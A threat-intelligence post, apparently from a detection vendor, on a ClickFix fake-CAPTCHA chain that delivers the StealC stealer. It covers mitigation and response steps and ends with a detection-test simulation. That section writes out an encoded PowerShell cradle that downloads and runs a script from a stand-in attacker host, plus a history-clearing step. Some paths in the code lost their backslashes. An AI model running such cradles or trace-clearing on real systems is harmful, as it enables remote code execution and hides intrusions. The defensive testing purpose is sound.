SOC Prime Bias: Medio

16 Feb 2026 14:47 UTC

Cómo ClickFix Abre la Puerta al Sigiloso StealC Robador de Información

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Cómo ClickFix Abre la Puerta al Sigiloso StealC Robador de Información
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una intrusión multi-etapa y sin archivos comienza en un sitio comprometido de un restaurante vietnamita que alberga un CAPTCHA falso. Se persuade a las víctimas para que ejecuten PowerShell que descarga shellcode independiente de la posición, que carga de manera reflexiva un descargador de 64 bits e inyecta el ladrón de información StealC en svchost.exe. StealC recopila credenciales del navegador, datos de billeteras de criptomonedas, credenciales de Steam y Outlook, detalles del host y capturas de pantalla, para luego exfiltrar a través de tráfico HTTP cifrado con RC4.

Investigación

Los investigadores diseccionaron el cargador de JavaScript y PowerShell, confirmaron el uso del marco de shellcode Donut y siguieron las solicitudes HTTP del descargador a URLs controladas por atacantes. El ladrón parece ser un malware-as-a-service dirigido por un constructor con características modulares de robo más una rutina de autoeliminación. Las notas de búsqueda incluyen un valor de User-Agent de “Loader” y claves de registro específicas relacionadas con la etapa y ejecución.

Mitigación

Las defensas recomendadas incluyen limitar o deshabilitar el pegado del portapapeles en los navegadores, ajustar las políticas de ejecución de PowerShell y alertar sobre cadenas de User-Agent inusuales. Agregar detección para carga PE reflexiva e inyección de procesos, y aplicar inspección HTTP saliente para la entrega de cargas útiles codificadas en Base64. La educación del usuario sobre cebos de CAPTCHA falsos debe considerarse un control, no una ocurrencia tardía.

Respuesta

Si se descubre, aislar el punto final, detener la instancia inyectada de svchost.exe, capturar volcados de memoria para revisión de shellcode y bloquear los dominios/URLs maliciosos. Restablecer credenciales expuestas, revisar artefactos del registro y navegador para el impacto, y vigilar por tráfico residual de C2.

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using iex(irm…). By using the -EncodedCommand switch, the attacker hides the actual commands from casual inspection, and the iex(irm…) pattern directly matches the detection rule.

    1. Create the malicious script (payload.ps1) hosted on http://malicious.example.com/payload.ps1.

    2. Encode the launcher command:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # This value is used in the next step
    3. Execute the encoded command on the target:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    This generates a Sysmon ProcessCreate event where CommandLine contains -EncodedCommand and the decoded text includes iex(irm…), satisfying the Sigma rule.

  • Regression Test Script:

    #-----------------------------------------------------------
    # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Define malicious script URL (replace with your test server)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Build the one‑liner that downloads and executes the script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Encode the command in Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Launch PowerShell with the encoded command
    Write-Host "Executing encoded command..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulation completed."
  • Cleanup Commands:

    # Remove any temporary files created by the simulated payload (if any)
    # Example: delete the downloaded script if it was saved locally
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Removed temporary payload."
    }
    
    # Optionally, clear the PowerShell history to reduce forensic trace
    Clear-History